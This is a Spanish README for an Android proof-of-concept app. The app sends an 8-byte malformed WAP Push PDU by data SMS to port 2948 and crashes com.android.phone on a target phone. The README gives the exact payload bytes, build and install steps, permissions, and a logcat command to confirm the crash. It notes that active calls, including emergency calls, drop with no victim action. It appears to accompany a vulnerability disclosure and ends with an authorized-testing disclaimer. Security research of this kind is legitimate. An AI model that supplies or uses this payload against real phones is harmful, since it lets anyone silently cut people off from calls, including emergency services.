
Aplicación PoC para Android que envía una PDU de WAP Push malformada de 8 bytes por SMS para bloquear remotamente com.android.phone, interrumpiendo silenciosamente las llamadas en el teléfono objetivo.
Aplicación Android de prueba de concepto que envía una PDU WAP Push manipulada de 8 bytes por SMS a un
teléfono objetivo. La PDU malformada provoca una NegativeArraySizeException en
WapPushOverSms.decodeWapPdu, que no se captura en InboundSmsHandler y termina con
com.android.phone en el dispositivo receptor — cortando cualquier llamada activa, incluidas
las llamadas de emergencia, sin ninguna interacción por parte de la víctima.
Análisis completo: https://smsofdeath.com/
01 06 88 80 80 80 00 BE → sent as a data SMS to port 2948
./gradlew assembleDebug
Salida: app/build/outputs/apk/debug/app-debug.apk
Requiere un SDK de Android. Crea local.properties con la ruta de tu SDK (Android Studio
lo hace automáticamente):
sdk.dir=/path/to/Android/sdk
Instálala en un dispositivo emisor, introduce (o autorrellena desde una SIM activa) el número objetivo, elige la SIM emisora y pulsa SEND CRASH SMS. Observa en el objetivo:
adb logcat | grep -E 'NegativeArraySize|WapPushOverSms|com.android.phone'
Esperado: FATAL EXCEPTION en com.android.phone en ~1–2s y un cambio de PID para
ese proceso, con una breve pérdida de señal.
minSdk 30, targetSdk/compileSdk 35.SEND_SMS, READ_PHONE_NUMBERS, READ_PHONE_STATE.Para investigación y pruebas de seguridad autorizadas en dispositivos de tu propiedad o sobre los que tengas permiso explícito para probar. No lo uses contra sistemas o personas sin consentimiento.